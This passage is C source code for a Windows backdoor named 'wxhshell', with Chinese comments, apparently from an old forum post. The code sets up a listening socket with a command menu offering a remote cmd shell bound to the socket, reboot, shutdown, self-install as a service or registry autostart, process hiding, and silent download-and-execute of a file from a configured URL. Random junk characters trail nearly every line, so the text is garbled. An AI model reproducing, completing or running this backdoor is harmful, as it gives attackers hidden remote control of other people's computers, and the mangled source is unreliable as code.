  else { \P?A7vuhLs  
e@jfIF0=}  
    switch(cmd[0]) { 25em[Q:  
  uva\0q  
  // 帮助 L[C*@ uK  
  case '?': { !_^g8^>2(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nW5K[/1D  
    break; XO wiHW{  
  } h4 vm{ho  
  // 安装 fNoR\5}!  
  case 'i': { l)8sw=  
    if(Install()) $Jf9;.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =kFuJ x)f  
    else Q!$IQJ]|Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4vqNule  
    break; zilaP)5x6  
    } {tt$w>X  
  // 卸载 kaFnw(xa  
  case 'r': { K^H>~`C=  
    if(Uninstall()) `C'}e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <]Y[XI(kr  
    else d8:C3R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c{>|o  
    break; &=zU611,  
    }  :]c=pH  
  // 显示 wxhshell 所在路径 Jz$ >k$!UD  
  case 'p': { #F4X}  
    char svExeFile[MAX_PATH]; ou6j*eSN  
    strcpy(svExeFile,"\n\r"); a8JN19}D  
      strcat(svExeFile,ExeFile); j9xXKa5  
        send(wsh,svExeFile,strlen(svExeFile),0); ./.=Rw  
    break; !}q."%%J_%  
    } 'v`_Ii|-  
  // 重启 D5` (}  
  case 'b': { 7;xKy'B\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _,Q[2gQ5N  
    if(Boot(REBOOT)) d_T<5Hin  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |<Bpv{]P  
    else { MPvWCPB  
    closesocket(wsh); yW> RRE;  
    ExitThread(0); qLRE}$P  
    } *<k&#D"m  
    break; }ecs Gw  
    } GCH[lb>IJv  
  // 关机 XRa#2 1pQ  
  case 'd': {  /q*KO\L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q^6N+^}QN  
    if(Boot(SHUTDOWN)) !4B_$6US  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >zR14VO`_|  
    else { CB]l[hM$  
    closesocket(wsh); V6+Zh>'S  
    ExitThread(0); (nz}J)T&  
    } x@Vt[}e  
    break; cY~M4:vgT  
    } 7TdQRB  
  // 获取shell +2y&B,L_Wh  
  case 's': { 6n-r  
    CmdShell(wsh); ue9h   
    closesocket(wsh); +-P<CCvWz  
    ExitThread(0); _ n_sfT6)B  
    break; ai^t= s  
  } Y^3)!>  
  // 退出 1p=&WM  
  case 'x': { %,;gP.dh7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); * gHCy4u{  
    CloseIt(wsh); Yj3*)k  
    break; zn^v!:[  
    } `WlH*p)z9  
  // 离开 sDAK\#z  
  case 'q': { ;q &0,B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); mQ=sNZ-d]  
    closesocket(wsh); 3W'FcE)|E  
    WSACleanup(); ?OO%5PSen  
    exit(1); U/5$%0)  
    break; @Wz%KdXA  
        } :ln/`_  
  } XLocg  
  } QE*%HR'  
b-4dsz 'ai  
  // 提示信息 uAT/6@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y2D >tpqNw  
} 22'vm~2E  
  } FH[#yq.Pr  
Tplg2p% k  
  return; ]Y=S  
} S2bexbp0o  
}v&K~!*  
// shell模块句柄 lfRH`u  
int CmdShell(SOCKET sock) yeNvQG  
{ [!Ao,rt?Vg  
STARTUPINFO si; k|5k8CRX  
ZeroMemory(&si,sizeof(si)); UtPwWB_YV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c`pYc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :-U53}Iy  
PROCESS_INFORMATION ProcessInfo; :^5>wDu{  
char cmdline[]="cmd"; -zR.'x%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &rcdr+'  
  return 0; )Z&HuEg{ZR  
} "H@Fe  
x?gQ\ 0S<  
// 自身启动模式 k3#wLJ  
int StartFromService(void) \D ^7Z97  
{ ^t7_3%%w  
typedef struct Gg}t-_M  
{ t)KPp|&  
  DWORD ExitStatus; vv!Bo~L1,  
  DWORD PebBaseAddress; N?zV*ngBS  
  DWORD AffinityMask; zv,\@Z9.($  
  DWORD BasePriority; kM,@[V  
  ULONG UniqueProcessId; {x|MA(NO  
  ULONG InheritedFromUniqueProcessId; C!hXEtK  
}   PROCESS_BASIC_INFORMATION; !@A|L#*  
!*9FKDB{  
PROCNTQSIP NtQueryInformationProcess; ig+k[`W  
u!M& ;QL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2nJYS2mT7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G$|G w  
v,8Si'"i+  
  HANDLE             hProcess; 4I z.fAw  
  PROCESS_BASIC_INFORMATION pbi; *Q0lC1GQ  
=?^-P{:\?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); + 2OZJVJ  
  if(NULL == hInst ) return 0; 3mybG%39  
a!&bc8J7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _@7(g(pY 3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2UQN*_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  GsI[N%  
V, E9Uds  
  if (!NtQueryInformationProcess) return 0; `Y0fst<,  
aD0Q0C+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GpScc'a7  
  if(!hProcess) return 0; $tEdBnf^ca  
*13g <#$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; * q+oeAYX  
 B$@1QG  
  CloseHandle(hProcess); i[mC3ghM6,  
RzMA\r;#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  y/z9Ce*>  
if(hProcess==NULL) return 0; ZBPd(;"x+  
?56~yQF/2  
HMODULE hMod; ^- u[q- !  
char procName[255]; LZgwIMd  
unsigned long cbNeeded; `i"$*4#<  
PWADbu{+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H(  
:;|)/  
  CloseHandle(hProcess); er&uC4Y]a  
b #o}=m  
if(strstr(procName,"services")) return 1; // 以服务启动 n$XMsl.>  
?j &V:kF  
  return 0; // 注册表启动 md1EJ1\14  
} (O M?aW  
L8,H9T#e  
// 主模块 tJ(c<:zD  
int StartWxhshell(LPSTR lpCmdLine) #u}v7{4  
{ YR^Ee8_H  
  SOCKET wsl; BN<#x@m$]  
BOOL val=TRUE; MEdIw#P.}{  
  int port=0; rahHJp.Ws  
  struct sockaddr_in door; 3{N p 9y.  
N}.Q%&6:  
  if(wscfg.ws_autoins) Install(); pq/ FLYiv  
i_oro "%yL  
port=atoi(lpCmdLine); y]~+`9  
~pX(w!^  
if(port<=0) port=wscfg.ws_port; N \CEocU  
Lz#$_Am'H  
  WSADATA data; zm;*:]S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U5@TaGbx  
"NX m\`8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   886 ('  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H3UX{|[  
  door.sin_family = AF_INET; `JY>v io  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xVh\GU855  
  door.sin_port = htons(port); )<]w23i  
*_"c! eW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .yFg$|yG  
closesocket(wsl); k#IS ,NKE  
return 1; _!$Up  
} 1 o  
KL:6P-3  
  if(listen(wsl,2) == INVALID_SOCKET) { e GqvnNv  
closesocket(wsl); $Z(g=nS>  
return 1; , $D&WH  
} buC m @@o  
  Wxhshell(wsl); dEAAm=K,<  
  WSACleanup(); u75)>^:I   
%1 VNP(E  
return 0; ZB_16&2Ow  
]`/R("l[  
} Q'Q72Fg  
K,L>  
// 以NT服务方式启动 gv Rc:5B[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0]2B-o"kI  
{ M|Lw`?T  
DWORD   status = 0; wk@(CKQzI,  
  DWORD   specificError = 0xfffffff; ;*37ta  
@6i8RmOu}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &\6`[# bT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3 q.[-.q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BhE~k?$9  
  serviceStatus.dwWin32ExitCode     = 0; v{rK_jq  
  serviceStatus.dwServiceSpecificExitCode = 0; _'v }=:X  
  serviceStatus.dwCheckPoint       = 0; t\|K"  
  serviceStatus.dwWaitHint       = 0; &"H<+>`  
$E9daUt8"J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >gOI]*!5  
  if (hServiceStatusHandle==0) return; (fk, 80  
L9unhx  
status = GetLastError(); !EmR(x  
  if (status!=NO_ERROR) YL&b9e4  
{ :9rhv{6Wp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8a$jO+UvN  
    serviceStatus.dwCheckPoint       = 0; M:1F@\<  
    serviceStatus.dwWaitHint       = 0; ,0<F3h  
    serviceStatus.dwWin32ExitCode     = status; +O!M>  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,C'w(af@}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X5oW[  
    return; {,  *Y  
  } "TH-A6v1  
Eztz ~oFo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kO`3ENN  
  serviceStatus.dwCheckPoint       = 0; 8yo6v3JqC  
  serviceStatus.dwWaitHint       = 0; neY=:9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7s fuju(  
} )zLS,/pk^  
m5;[,He  
// 处理NT服务事件,比如:启动、停止 tU2to V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O]%m{afM  
{ [TfV2j* e  
switch(fdwControl) vhquHy.qi#  
{ ?D^,K`wY=B  
case SERVICE_CONTROL_STOP: >~wk  
  serviceStatus.dwWin32ExitCode = 0; V8U`%/`N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m[Ac'la  
  serviceStatus.dwCheckPoint   = 0; a$! {Tob2  
  serviceStatus.dwWaitHint     = 0; Y/ac}q  
  { =&*QT&e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T# _n-b>  
  } gjN!_^ _  
  return; kcz#8K]~  
case SERVICE_CONTROL_PAUSE: )!*M 71  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \gzwsT2&  
  break; _Il9s#NA%  
case SERVICE_CONTROL_CONTINUE: ch8w'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tDLk ZCP  
  break; v7OV;e a$  
case SERVICE_CONTROL_INTERROGATE: yjFQk,A  
  break; [QqNsco)  
}; ,JBw$ C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1 l*(8!_  
} lnC Wu@{  
56 kgL;$h  
// 标准应用程序主函数 kRXg."b(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]XafFr6pe  
{ Oi[9b  
)?IA`7X  
// 获取操作系统版本 GV@E<dg$R  
OsIsNt=GetOsVer(); DfzUGX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j.N\U#3KK  
pfQZ|*>lkb  
  // 从命令行安装 Qp.!U~  
  if(strpbrk(lpCmdLine,"iI")) Install(); Aag)c~D  
'U{: zBh  
  // 下载执行文件 c%Cae3;  
if(wscfg.ws_downexe) { YB1DL ^ :  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p'!,F; xX  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0t[mhmSU,  
} vMdhNOU  
xA'#JN<*  
if(!OsIsNt) { (Dh;=xG  
// 如果时win9x,隐藏进程并且设置为注册表启动 {ro!OuA  
HideProc(); kDP^[V P+  
StartWxhshell(lpCmdLine); @wgGnb)  
} kCjI`=7$[  
else RYJc>  
  if(StartFromService()) ~)IJE+e>}  
  // 以服务方式启动 safS>wM]  
  StartServiceCtrlDispatcher(DispatchTable); >37}JUG  
else C{,] 1X6g  
  // 普通方式启动 5 ^J8<s@_  
  StartWxhshell(lpCmdLine);  KP-z  
r_sl~^* :  
return 0; [#6Esy8|  
}
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只看该作者 1 发表于: 2006-10-10
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